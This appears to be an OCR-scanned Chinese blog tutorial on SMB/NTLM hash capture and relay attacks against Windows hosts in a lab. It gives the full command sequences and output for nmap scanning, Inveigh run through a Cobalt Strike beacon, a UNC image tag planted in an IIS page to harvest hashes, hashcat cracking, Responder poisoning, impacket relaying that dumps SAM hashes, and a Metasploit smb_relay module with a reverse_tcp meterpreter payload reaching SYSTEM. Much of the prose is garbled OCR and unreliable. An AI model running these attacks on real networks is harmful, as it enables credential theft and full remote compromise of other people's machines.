MITRE | ATT&CK H13Tih

https://huntingday.github.io/

Windows Smb EHL / F4k FIFH [—]

0x01 ANERRETL

MEEIEFE R net-ntlm INMEMTEH PEIAER net-ntlm INERIX 5]
fe1 88 7 MR E B A — 2 ARTIR &1

smb 7 4 BIE EH1A8 4 windows TEIZFFI A=

smb ERMIEY AT HEMEE N linux THEFFAAR

XF msf FAY—LE smb BT ARIRAY AR FI A

Ayt ER B X A i 7T 2

vV VvV Vv ¥V VY V¥V

REGAEGR [ 7F: EABSER smb v2.x JRAZFHTESR ]:

B Ar% Fimil s PC-Win7CN 192.168.3.113 BRIZEABRANN—E win7 B, 23T T

fEAHE AYlgs: Strike 192.168.3.69 R A EFRAME—G E 69 1inux[Ubuntu 16.04 LTS]4lsR, /FEAY msf RERF A= A
XA RET

B #riR S5 umt/l =% : IIS75-CN 192.168.3.129 RIRABIAMNM—SEIER windows 2008r2 #l35, EFTE4NT

0x02 FLRIFHMERIE E /Y net-ntlm IAIEFITHE B ABLH BY net-ntlm IAUEAY X 3



Mitm Attacker

smb Hift / PH% BHEBAREE
Smb replay attack

BEEMClientifg @ ERIEFER request [ ABEEERIER ]

Client M e

B/ smb serverimEEFIEFR response [IA[EAIEFHImEE] Smb Server

AR ARG BFERB T net-ntlm fIAEITTE, B4, Y AATE Client FIEEMANKSZRBME G, WA ZLSR LY hash —K, /5 Client
¥ username & %5 Server,Server KIR[E— 16 FAIHkAAD, Client EIX M UGS HRE AN ZHIE R hash T HIBAHE T hash —X[&£
i response], Z FHEX kA F] response —[E] & %5 server, server X% dc EWiE, EZRTMNXER, FANE L F ML AII X T net-ntlm fINIET
R, BANBRENPEANGENRERES, XBEAHE N T ETE, 5 g BfRE DC # Server £ —GHlak[smb server] Lok, 55 RAIER, EHEEAY
INEEEHEREERRAFTE A infRSinm a s EAIMBEETIHHNIR T, ARIENFSVREREZZ T — 1M E=F, IXME=FBRI M
it 2 AR E R YR Smb server # Client Wi, AFR A MA, XHE—RKMIE, NEESHEKIDIE R response ILITEPEZ T XN E=F, BHEL TIX
PNE=FIIUEE Client IRIEELE) Smb Server TR, IARX MR FINPRE smb server IRK, KET] UFERIRE smb server, LR
EHE—BINERT, BB R 1T —E shellcode, B Smb server BRI T , AT, BENIXLARBNIZAAA T, XAR E RE—F&ITHRETHF
4w, RERITZHE & BAEI TSI
XF smb EHAFI Al :

M EBEMNBEHEERE, LM BNZOTEET £k FER L, 5%, FENANE, AINEETRHNRE, EFASTREIRAYHN, IRTE
ezt B SR, BEMEREEAEARE B ims 5RO , B AREHTERMAB T, L BB EEHEEN —EFRIL BRI
HNEEREREEZITECHVES, M B THIRMNARNMAEBXN LR Z 7, tban, &R FTE XA NBNS, DNS, LLMNR, WPAD, PROXY ,HTTP,HTTPS. . . X TXf &
I IRNF AT, AFAERE , AR EEBRERARMKIE R, SRBNTERN RAMEBEYSHM A L, ZB N 2AINMENE, ERENF A, kBTK

ox03 T fRXT smb EHAI—LEF &M



BAREHEETARE Windows AT RZAY Smb kit AR, Bl B X, smb i A s, A BN L & H stk s, F BEELHER, Ao, ERIATIEE tep/udp
fY 139 #1445 i 0 F, B F RN RN AE]

Smb v1 FTEAT xp/2003 YT RS H

Smb v2.x EZEFF win vista/7/2008/2008r2

Smb v3.xTEAHF win 8 / 8.1 / 2012 / 2012r2 /2016

X F smb ERUAY—LEF FHRETIR &M

Btz Aee /g smb HEZ [ RERIIE R, OB A 7 B EERE S, M EB2 ML ], SNF AL, —M1EL T ,windows server KEIAFF /B,
M windows B RS [win 7/8/8.1/101BNIAESAS T, B, W —EFTT mse8-068[KBI57097 |#h T HIZ R L[ Lb 40 windows xp/2003 X THYE 5] F]H
R T, Bl A LE, BARFKOCERHERT , AXFTERRBAABEMNERT, UL TR KRB —ERONAMARS =5, RS X B WRaN{E, sh58 )L
BEAS/NEIME X, EMLL arp kil , — M AENH KRBT ELEL arp /MIZHZ, ok, KIER T, RELF T KR A

B, ARZIWREATEIRANFEEZEAT smb ZZ1) windows #12%, RIRFM A I G windows Hl#F, — 5 win7 F1—G win server 2008r2, H
smb FZAVAFEWER, WATATHI B L2 B X win7 X B #HITERRER TR net-ntlm v2 (9 hash i T —HA9H1E, NRIREEEF AL hash
H—I Bz A & windows 2008r2 #1250 system A RAY shell , i FER PEIRE, XA SVISHNKSEBLMTEE—B, ARENNNESERIA
UERM, IMER Bt BB SOE B b, FHEN— LI R OEHRT T, AXHNREERES MMM EEELI hash MIEEEE shell E, MREMN
LM, P AR EZEXFLE shell, kAR E[BAREALFRRRIE, EBZL, EEXLRPXRBZFLE, RTIZRAROER], ZkAHE
2, A hash 1 E# E shell, T2 AE— N EERNEE, RZBFANFRLEHEMN? L shell EESERM, SEE—NAHEHMNIREERBRD,
RNanFEABSEIE hash EE  hash BT, EEEBATE T R, RIFREARERELEINANRMN AL, vpn AN ], ENEFAERE L shell, RIGH =
27, RARFEAKERE

# nmap -Pn -sT -p 445 --open --script smb-security-mode.nse,smb-os-discovery.nse 192.168.3.0/24



- Ej X
~ => nmap -Pn -sT -p 445 --open --script smb-security-mode.nse,smb-os-discovery.nse 192.168.3.0/24

Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-85 19:54 CST
Nmap scan report for 192.168.3.94

Host is up (0.0025s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

Mmap scan report for 192.168.3.113
Host is up (0.00108s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

Host script results:

| smb-os-discovery:

| 05: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1
| 05 CPE: :fo:microsoft:windows 7::

| Computer name: PC-Win7CN

| NetBIOS computer name: PC-WIN7CN

| Workgroup: WORKGROUP

| System time: 2018-11-065T19:54:15+08:00

| smb-security-mode:

| account used: guest

| authentication level: user

| challenge response: supported

| message signing: disable angerous, but default

Mmap scan report for 192.168.3.129
Host is up (0.00092s latency).
PORT STATE SERVICE

445/tcp open microsoft-ds

Host SCFIDt r25u1tq

:jo:microsoft:windows server 2008::spl
Computer name: IIS75-CN
NetBIOS computer name: IISV5-CN
Workgroup: WORKGROUP
System time: 2018-11-85T19:54:13+08:00
smb-security-mode:
account_used: guest
authentication level: user
challenge response: supported
message signing: disabled (dangerous, but default)

Nmap done: 256 IP addresses (256 hosts up) scanned in 5.61 seconds
0x04 smb EF A HAIEEYIRA windows THIEFMFIATRX [ 1E8) Inveigh BIASII ]

B, MNERBRRXA—MERL, SRIRELET 7 Bix web RN SRS [HBE2E IIS75-CN X s, FEEHELERMFE T (TETER AR
BAM ip (FBM) ], /E, AXBIEENATRHE T RN THENEE RN D ANAERD PC-Win7CN X aHl=], AN B Y, B2 {EB) I1S75-CN
X B E MEL T B PC-Win7CN #laz UMUK IR 7T UK E R IIS75-CN X AR EE XA net-ntlm v2 hash, AL, B R/El2H &, ETREEAM
FIRER T, HAVRAFEAE web A BRI UL E TTERBER—DHE unc BBIRE A RN, B AE %R C RN W TS, BT AL RS 2 & 38 R —FT M uh,
sl 22 A9 net-ntlm hash WAV ER], GEBREEF X hash A ARELEFEBRT , AT AEZM unc BiZ? RAREZECBEKRAFRENZ
smb[file://], MBANEMAMEERERX —~, BILRIZRIAT 7, ok, i B8, BB RXEBEREEAR, TAXRNE—NEFLABEERIFH
powershell JfiZK Invoke-Inveigh, &&FHHRIeH smb EHlF A5 —FHAMBEEN, WAE NEZIN hash A E, BIRETAE T = 2R B
ZT R, BEF/EE relay aboa9REF A

Je7E TIS75-CN X al=% L A Inveigh {iiF8kMk, A 7 EMGIE LA, DAS H# 7 beacon THR1E, LA R I AAERTH AU IRER T 23K , XAFaIER L
KRRELTE—FIER
beacon> powershell-import /root/powershell/Inveigh/Inveigh.psl

beacon> powershell Invoke-Inveigh -ConsoleOutput Y -FileOutput Y -NBNS Y -mDNS Y -LLMNR Y -HTTP Y -PROXY Y= It4bEEIAHTR



FEFles £, o] s E HMA =
Cobalt Strike Wiew Attacks Reporting Help

OBR O E=¢ BILU B0 ca B

external internal = user computer note pid last
Tia 192.168.3.129 192.168.3.129 Administrator *

= -

Event Log X | Listeners X | Beacon 182.168.3.129@1276 X

beacon> sleep 0

[#*] Tasked beacon to become interactive

[+] host called home, sent: 16 bytes

beacon> |[powershell-import /root/powershell/Inveigh/Inveigh.

[#] Tasked beacon to import: /root/powershell/Inveigh/Inveigh.psl
[+] host called home, sent: 48048 bytes

beacon> |powershell Invoke-Inveigh -ConsoleQutput Y -FileQutput Y -NBNS Y -mDNS Y —LLMNR Y -HTTP Y -PROXY Y
[#*] Tasked beacon to run: Invoke-Inveigh -ConsoleQOutput Y -FileOutput Y -NBNS Y -mDNS Y —LLMNR Y -HTTP Y -PROXY Y
[+] host called home, sent: 95 bytes

[+] received output:

[#] Inveigh 1.4 started at 2018-11-06T11:28:41

[+] Elevated Privilege Mode = Enabled

[+] Primary IP Address = 192.168.3.129

[+] Spoofer IP Address = 192.168.3.129

[+] ADIDNS Spoofer = Disabled

[+] LLMNR Spoofer = Enabled

[+] LLMNR TTL = 30 Seconds

[+] mDNS Spoofer For Type QU = Enabled

[+] mDN5S TTL = 120 Seconds

[+] NBNS Spoofer For Types 00,20 = Enabled

[+] NBNS TTL = 165 Seconds

[+] SMB Capture = Enabled

#< CLIXML

[+] HTTPS Capture = Disabled

[+] Machine Account Capture = Disabled

[+] Console Qutput = Full

[+] File Output = Enabled

[+] Output Directory = C:\Users\Administrator

[*] Press any key to stop console output




miE, ZIEEMN B iR R B R THEENRSI XM REBA T unc 5812, IALRIA M ip, o] UFEETS 0 — & B AR R M K778 H9 windows HlasA) ip,
ETHBIHEZEREEBRREAKR, BABMNAIRAE B2 A T PC-Win7CN 1R EE R AY hash

<img src="\\192.168.3.129\sf.jpg" />
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MEFF) BB E) BEG HEAM M FE0 REO TEO Em ETE EHFeE g0 v X
cHHE s cal4hD|oe (M| 2 s|HE|=T

E iizstart. himkd |

EREE O = | ¢ N D WS

1 =IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtmll1/DTD/xhtmll-strict.dtd"®
2 <html xmlns="http://www.w3.0rg/1999/xhtml">

3 E{head}

4 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

5 <title>IIS7</title>

6 E{style type="text/css">
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-</style>
-</head>
H<body>
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<img src="\\192.168.3.129\=f.jpg" />
H<div 1d="container">
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<a href="http://go.microsoft.com/fwlink/?linkid=66138&amp ;clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" hei
-</div>
-</body>
-</html>
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—BEE R PC-Win7CN M=% L15[0)1%Muh, A28 F 7 B9 net-hash v2 hash BRI HTRE], ESXHFUXZ PC-Win7CN X— & Hl#&#Y hash, FE A K
THRA LR R B TFZME, hash h &L HEIE R

http://192.168.3.129/



3 hitp://192.168.2.129/

Welcome _
F5T% Bienvenido

Willkommen Bem-vindo
Vitejte

Bienvenue
Tervetuloa

-
Exal D'NQN 022
Velkommen VELKOMEN
Benvenuto Ul

Welkom

: internet information services Witamy
Valkommen u-:n_}.a
Hos Geldiniz sroist |}
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W, EEIAE IIS75-CN 1828 L #H1IE 2| A9 PC-Win7CN #z5EE A AY net-ntlm v2 hash

Event Log x| L iotoners xl Beacon 192.168.3.129@1276 x|

[+] [2018-11-06T11:29:47] SMB NTLMvZ challenge/response captured from 192.168.3
.113(PC-WIN7CN) :

mary: :PC-Win7CN:OE1728199EAS215E: 2096B2283B4E64FD8F1B5B20B40EFB53: 0101000000000
0002240FDF78075D4010F4CCF2ECO823BECOOO0000002001000490049005300370035002D004300
4E0001001000490049005300370035002D0043004EQ004001000490049005300370035002D00430
04E0003001000490049005300370035002D0043004E00070008002240FDF78075D4010600040002
000O0OP80030003000000000000000010000000O200000PA9185BFFESBAAAA9F4COCCT7BOA9AG902
9424E4505DDC4DD3B310FB2BB03545A0A0010000000000000000000000000000000000009002400
63006900660073002F003100390032002E003100360038002E0033002E003100320039000000000
olefelefololeloleleloleTo e o )

Z%| net-ntlm v2 i hash M, BfhEIRBEC A hashcat 21—, F—%| 7T BEIAS BF30EE, b2 RigRESE, 7—, mE 78
X, ANEEREE, AN ST [HSE, AZEIER TE SRR Y KA, LH BirtE AR H5R BDRES, LFEREARIES ]

# hashcat64.exe -a @ -m 5600 hash.txt passwd.txt

823bec00000000020010004950049005300370035002d0043004e

o 43 . 35002d0043004e00070008002240£df78075d40106000400020000

000SOOBOGUBOOOOOOOOOOOOGOOO1000000003000000491:;bttebdadagtécﬂccf:bOaﬁabB029424&4505ddc4dd3b310fb2bb0354ba0a001OG00O000000OO0G0O0000000O00D000000009002400630069
00660073002£003100390032002e003100360038002e0033002e00310032003900000000000000000000000000 :fadmin

Status...........:

Hash. Type........ ]} Ve

Hash. Target...... ;] MARY: P[‘Wlﬂ![\ 0e1728199%ea5215e:2096b2283b4de64£d8E. . . 000000
Time. Started..... :] Tue Nov Ob 11 J3 1@ ’01* }

Time. Estimated... :

Recovered........: 00 00“$ Dlgtbtqf 1 1 {100 00%} \altu

Progress. ......... 17 /17216 (100. 00%)

Rejected.........: 0/ “ '

IRestore. Point. ... . 0/

Candidates.#1....: pa 4 Ve

HWMon. Dev. #1.....: Temp: 37c Fan: 39% Util: 64% Core:1032MHz Mem:2505MHz Bus:16




&, MEIFRAEER hash UG, ICBEE EENRIRS <, LR FEEZEE Inveigh ST AY powershell #2252 R10], BEE, JIRE 7, LX—1
=B A18 2 beacon #iz

IIS?S CN\Admlnlstrator

NT AUTHORITY\SYSTEM

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\NETWORK SERVICE
I11575-CN\Administrator
I1S75-CN\Administrator
IIS75-CN\Administrator

1288 inetinfo.exe
1436 svchost.exe
1484 VGAuthService.exe
1600 vmtoolsd.exe

1632 ManagementAgentHost.exe
1660 svchost.exe

1912 svchost.exe

1936 1276 powershell.exe

1996 1388 notepad++.exe

2012 2232 vwvmtoolsd.exe

(] ol ocBocRoNoloRo |l o

(RO

HEL, AX NI EFRESE DR, RS FA=E [IIS75-CNJHB KIBE B LIT A, IR K& powershell —fREPZFH NI TRIZEIR T, BRIVERIZ

Yindows PhAIGELM I RE FHS AT

#indows BRAYEERELERTRL FARERANE MRS ERY Windows PowerShell HFETH

e
i ! %g’m lfH:I . findows FowerShell
ey .
e EAE (F):  Microsoft Corporation

Eﬁ@ [H1: C:windowshsyewowhd windowspowershell
Yl Dhpowershell. exe

TPIE Windows FPowerShell JriEihfedsE HE(S:
[~ ERAkE. Hli0zEEEST ks &)

F"&%%%EEMMEWWWE¢WW%GH%* =8 R 2 | T e e R

FhiFifIE () By |

0x05 smb EWMAE LIS EVIEEA linux THEMFIAFA X [ Responder IRIREF + impacket EF ]

TEBRAAREX L, BUIME 15 JL /A, HHSKHE linux FECARE L ATRAMNET T — 1M IFELANBEEN, B2 python, BIAR%E —1 python2.6.6, HRIH
REMIEXEE) Birtlazdy root PR, XLEERFF R NAIRIKEE N W55 , FE LA P E R B RN AL, BTN AZEZAEIE, 7 1inux F 5 THIBE
FTRREAEHR bash Al python L[ H2AM, IR ¢ TRBRE, BEEE, BR, &£ linux 11, XMTEMEREREM], M7 windows THISETXNIR
E LB powershell,vbs,bat 4, REAET THRHIMI LA [BEEFEH XV EN, MEEREANZELHENTA], RERNENERBANERAE, EH
et EESHEMELK, MEthERK, —BBEFK T XHENBEIR, UEMNBEERENEN INEFRERRSES, FRGHFANEEEESEhS
ER—EH L, —EInH

5, RET Responder IRERzF

KEF BN XV EERA RS [AXREWEERSRS [ ETEX, E—M 1N ER, AFHE Responder. conf IL &, IEEEAAFEMNIRS £ 4L Of f 3%,
Jo ELHE4E T AR 3 I K 438 O 17 P 0 K U B BT

# git clone https://github.com/SpiderLabs/Responder.git

# python Responder.py -I ens33



NBT-NS, LLMNR & MDNS Responder 2.3

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CRTL-C

[#+] Poisoners:
LLMNR
NBT-NS
DNS /MDNS

Servers:
HTTP server
HTTPS server
WPAD proxy
SMB server
Kerberos server
SQL server
FTP server
IMAP server
POP3 server
SMTP server
DNS server
LDAP server

HTTP Options:
Always serving EXE
Serving EXE
Serving HTML
Upstream Proxy

Poisoning Options:
Analyze Mode

Force WPAD auth
Force Basic Auth
Force LM downgrade
Fingerprint hosts

Generic Options:
Responder NIC
Responder IP

FTHEBMARE T, RESEE, " BERAMETEYEEF 148 windows F£Z [smb]fyzn{E, X JLEt & S BNHIRZIAHN AY net-ntlm v2 £ hash, I, FA/]
AREREHFIILK, R R E RN O]

[*] [LLMNR] Poisoned answer sent to 19‘ 168.3.129 for name hello
r‘hﬁl NTLMv2-SS5P Client : 58.3.129

[SMB] NTLMvZ-SSP Username :

[ ] NTLMw2-SSP Hash

[*] [LLMNR] Poisoned answer sent to 192. .3.133 for name pentester
SMB] NTLMv2-55P Client 2 3
[SMBE] NTLMv2-SSP Username :
2] NTLMv2-55P Hash

HR, BANBEXRET impacket EHFAIE L FI

AP EJLFRE L, bR BIFEWEER smb fjS5=%, —EBRAMARARDE R NFLEFTHFNXNERHEZN, WA net-ntlm v2 B HEINEUS
%, RAid, impacket B 53X B wEORINGE , AT ULALE R REEE KA B CF T AR smb RE538, RIS H, 2540, th 7] RIS 72 H T A9 7515 A\ UNC
BR1REITTTURIREL, (B AR K5ESE, BEA 4L 7,30, 192.168.3.69 {E2F 1A impacket fAEAYER smb fRS==



# net use \\192.168.3.69\admin$ /user:"administrator" "Adminl2345"

%192. 168. 3. 69%\admin$ /user: administrator’

W ERA, HBERANBEY=F A B FHRNAER smb RE#5 5, ES BT M 128HY net-ntlm v2 hash, Z [FH@1d smbrelayx.py HIAZEHIXEIMNE
B9 hash £23% T/ 192.168.3.129 X4 BARH 2R, —B TN, (ELIE 129 XS LM AN B AR B hash ©MBEEH K, B4 T, EEMAFER
BIEIX L E 1T payload SER G <, HABRIAL 2 BEERSHERRNITH SN, BRARE

# python smbrelayx.py -h 192.168.3.129 smbrelayx.exe HFJEIFHY windows ixH

- @
~fimpacket/examples => python smbrelayx.py -h 192.168.3.129
Impacket v8.9.17 - Copyright 2002-2018 Core Security Technologies

[*] Running in relay mode
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Servers started, waiting for connections
*] SMBD: Received connection from 192.168.3.113. attacking target 192.168.3.129

Authenticating against 192.168.3.129 as PC-Win7CN\administrator SUCCEED
[*] administrator::PC-Win7CN:3aed8d26bcbaafb7:50089cd155023bd00d4f4fcb16768720:01010000000000008c2b5e969e75d40197839132449a37dT000000
0P02001000490049005300370035002d0043004c0001001000490049005300370035002d004300420004001000490049005300370035002d00430040003001000490
949005300370035002d0043004e00070008008c2b52969e75d401060004000200000008003000300000000000000000P00000003000000a9185bffeBaaaadf4clecT?
bBa9a690829424e4505ddc4dd3b310fb2bb0354520a001000000000000000000000000000000AAAAAA900220063006900660073002T003100390032002e00310036003
8002e0033002e0036003500000000000000000000000000
[*] Sending status code STATUS SUCCESS after authentication to 192.168.3.113
[-] TreeConnectAndx not found ADMIHQ

]

arget 192.168.3.129

] Dumplng local SAM has es {u11 rid:lmhash: nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef2@8c6485269c20db2cad21?34fe?::'

Guest:501:aad3b435b51404eeaad3b435b51404ee:318e4571228067e41e2bB5fc9b21375b:

webadmln 1000 aad3b435b514B4eeaad3b435b514ﬂ4ee @a9claa?ﬂ@@40facloe45093c8bab4ce
:748d00ccbe9f9290bdA1e75759c4086¢C:

Aut entlcatlng agalnst 19¢.108.3.1¢9 as PC W1n?CN\administrator SUCCEED
*1] administrator::PC-Win7CN:2e84bcOf7d17becc:T4e9e43296612de4b7c8bB88b7952a741:0101000000000000d28992969e75d401f377197faf331e33000000
0002001000490049A0530A370035002d0043004e0001001000490049005300370035002d0043004e0004001000490049005300370035002d0043004e00A3001000490
049005300370035002d0043004e0007000800d28992969e75d40106000400020000000800300030000000000000000000000000300P0AMa185bffe8aaaa9f4checT?
bBa9as9029424e4505ddc4dd3b310fb2bb03545a0a001000000000000000000AA000ANEEAONAOAOAO200220048005400540050002T003100390032002e00310036003
8002e0033002c0036003900000000000000000000000000
[*] Target system bootKey: @xf3eead8231888598a646b81ce5f38552
*] Dumping local SAM hasheq uid:rid: lmhash nthash)
dministrator: 5 -
uest:501: aad3b435b514ﬂ4eeaad3b435b51404ee 318e4571228067e41e2b05fc9b21375b:
ebadm1n.1@00.aad3b435b51404eeaad3b435b51404ee.@a9c1aa?Bﬂ@40facibe45093chab4Cc:::
Hbadmin:1001:aad3b435b51404eeaad3b435b51404ee:748d00ccbe9f9290bd01e75759c4086¢C: @ ;

Done dumping SAM : 192.168.3.129

HL, % impacket EHFEFNIEFEHF AR ntlmrelayx. py IR, RERMNEEEERE M hash EZHXERIREY 28 LR ERS , T E)IE, BRA
RIB X, BF HERANEHREH [SERZNSH, NI F AR I N AV RR AR 5k , BMERF T A, HESREEHII, X4 2HEIENHMNE
FRE], BRI STE impacket A —LELLBBRIFSI AR TNGE , EEBIRE LK, AR A FBIR T

# python ntlmrelayx.py -t 192.168.3.129



- @
~fimpacket/examples => python ntlmrelayx.py -t 192.168.3.129
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

Protocol Client SMTP loaded..
Protocol Client IMAPS loaded..
Protocol Client IMAP loaded..
Protocol Client LDAP loaded..
Protocol Client LDAPS loaded..
Protocol Client HTTPS loaded..
Protocol Client HTTP loaded..
Protocol Client SMB loaded..
Protocol Client MSSQL loaded..
Running in relay mode to single host
Setting up SMB Server

Setting up HTTP Server

* % % ¥ % ¥ * ¥ * * X 3

el e e bl e e bl el el o e e

servers started, waiting for connections

SMBD: Received connection from 192.168.3.113, attacking target smb://192.168.3.129
Authenticating against smb://192.168.3.129 as PC-Win7CN\administrator SUCCEED
Target system bootKey: 0xf3eead8231888598a646b81ce5f38552

*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:318e4571228067e41e2b85Fco9b21375b:::
webadmin:1000:aad3b435b51404eeaad3b435b51404ee:0a9%c1aa700040Tac16e45093c8babdce: ::
dbadmin:1001:aad3b435b51404eeaad3b435b51404ee:748d00ccbe9f9290bd01e75759Cc4086C: 1

[*] Done dumping SAM hashes for host: 192.168.3.129

0x06 X T msf figy—Lt {ifikds / smb EHH HEIREYERFIA

It 4k, A EHBIR— T nbns_response[ EE RN M # 7Y 8% B KW 1 A smb_relay[ EM A B EHITHRE, (b, W R EERT—1
meterpreter i payload |1k E S5 A, I, Rix G RTENMAAEBEFRAMB [, von IR FREL TLiEHEN, FF-EHTHARE. .. ],
B 778, AT T U Z X B A msf k45, H AW, B2 IR IERIRIFZ AR E, meterpreter EERTE R, BENBEIEE BISRAERIE, LA UXRRZ A
TR, ok, REEAEHE

* * * #
b bl b b

[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[

B 5L, 1B smb_relay &RIRSEIE smb B NEEHITHRIEERY, RER, XEREEZIHHE meterpreter B3k, smbhost ZHNZHTIEEEEN
[ B0 109 BARA WAL= [ b 4b2 TIS75-CN]

msf > use exploit/windows/smb/smb_relay

msf > set payload windows/meterpreter/reverse_tcp uuid

msf > set lhost 192.168.3.69

msf > set lport 110

msf > set smbhost 192.168.3.129 ZEEHNMWBIRHNMEHLEE ip

mst > exploit

> use exploit/windows/smb/smb relay
msf exploit( ) = set payload windows/meterpreter/reverse tcp uuid
payload => windows/meterpreter/reverse tcp uuid
msf exploit( ) = set lhost 192.168.3.69
lhost == 192.168.3.69
msf exploit( ) » set lport 110
lport => 110

msf exploit( } = set smbhost 192.168.3.129
smbhost => 192.168.3.129

msf exploit( ) = exploit

[#*] Expleit running as background job @.

[*] Started reverse TCP handler on 192.168.3.69:110
msf exploit( ) = [*] Server started.

Z g, 7TeEF B nbns_response #&IR#117 NBNS g, -+ 2, XEFNMNEER, RELEZ SE XN EFENEZ RS EPEIRE] 192.168.3.69 X &



s F[ANEEEIEMNIBE Llinux[Ubuntu 16.04 LTS] #1888 ], RESIERITH net-ntlm v2 B hash HE% smb_relay #&5%] 192.168.3.129 H8
EHTER, —EERH, TR TE S A ST meterpreter payload, 2 REEEZIMNN TR, meterpreter 1 1F & 3 E]

tban, BAVIREE BFrA N A AYEE—F windows Hl28 L XA — P EFEXNFFFEA smb =

E Eim%aﬁ .. &i ngtrtnr - -__:::- _.
§ o wesesesees

REEZEHBA T IEHAY 192.168.3.129 HIRHIIKS %5, meterpreter EXHKIEFE M, KL msf FiRH — LR HIA AHAER, A3 fE M L@ JLFEKREN
o, LR KM FER, AT HER



msf exploit( ) = use auxiliary/spoof/nbns/nbns response
ili ( ) > set regex iis7

) = set spoofip 192.168.3.69
qpnnflp == 192.168.3.69
auxiliary( ) = exploit
Auxiliary module running as background job 1.
auxiliary( ) >
NBNS Spoofer started. Listening for NBNS requests with |JREGEX "iis7"
Sending NTLMSSP NEGOTIATE to 192.168.3.129
Extracting NTLMSSP CHALLENGE from 192.168.3.129
Forwarding the NTLMSSP CHALLENGE to 192.168.3.133:49171
Extracting the NTLMSSP AUTH resolution from 192.168.3.133:49171, and sending Logon Failure response
Forwarding the NTLMSSP AUTH resolution to 192.168.3.129
SMB auth relay against 192.168.3.129 succeeded
Connecting to the defined share...
Regenerating the payload...
Uploading payload...
Created \UMluWgdL.exe...
Connecting to the Service Control Manager...
Obtaining a service manager handle..
Creating a new service...
Closing service handle...
] Opening service...
Starting the service...
Removing the service...
Closing service handle...
Deleting \UMluWgdL.exe..
Sending stage (179779 bytes) to 192.168.3.129
Meterpreter session 1 opened (192.168.3.69:110 -> 192.168.3.129:59379) at 2018-11-66 17:10:05 +0860

auxiliary( sessions -i 1
Starting interaction with 1..

meterpreter > ge
Server username:|NT AUTHORITY\SYSTEM

meterpreter = qu1nfﬂ
Computer IIS75-CN
0s : [Windows 2808 R2 (Build 7601, Serwvice Pack 1).
Architecture 1 X64
System Language : zh CN
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : XB6/windows

meterpreter =

0x08 XTI IwF smb EM BT — L& REHTFIE

> FFJg Smb &%

> Smb HEMRERMAAE], BEERIFHENIIRSESETTBRGN AIERE] 445 im0 H A5
> EREBEM ATA & ATP @k BIEXMEIHNANKEAERRE

> EZ...

— RN

TN ERAAROEXFHRELETREAM, RIERENO T BEET Z2RAB R, AXXTENFAIER O R, R, E— el 2 8Kk, 1T ER
& LLMNR, WPAD, NBNS , DNS , PROXY , HTTP,HTTPS X F{ SEILXT B #r A MAL=s IR ILABN AR EMREL B C, e RMNFBERANEBNERRA, GEAVISH
S EMHIHN R REE DM —PNFEInE, BRRE, X EFIRTE, E- T 2ER MBENNEEEIHEEET I ARNARLETIIA
KT, REHFHEEMERBRERS, b, TR, RO, BIMEAR. . AT IS, BN EEHMEARHELE net-ntlm v2 gy hash ,BILLE, T
hash h AZBENMAMBER—NMRNORTIE [RA/N, ERENMERIE] ZFURERAEREEM T RASHN R EHTEMEE, SR AES



B, PABFHARBWHBFET, A LHEEET, AT ILRREBRSERUR, FTEER EE R ERAKTN, (BXFF LT g A2 X+, MEMRERAL
VRS BRI ATHRAE, B 7 [B)R, R XE H i 2 I S MR E /Y )8, AL B X 7T RIE XN A9 hash BET, BERSIBBA, £ A)IE, LT web #
KET M EI 2B RET A, BEAN, TEA—LEHRERT, AHEXNANMSD, ERERECBERTNBEENUN, XBRBEEEFETFT LT, ARAM
e LB, TR TN ERORABETEREIFNRESET T [KREMBEIERREE, AT, XELHERIEB DA MEXN T, RIE. .. 1,
BEEER, A TN EFRZH AL ERERE T, 1ERE X, 23] hash U FRERIEH—ERETH A, RERTES SN RBEOME, FI—ESERN
AN4F, hash SJETERIA LR, AR ABEREE R IRMEE 7, SBEABRE, FHIFE—FIE LERI, FEREMNAL, BN ERERTAT, BE. . . ENE
&, X EESERSAEMEREE, FA1ZI51E
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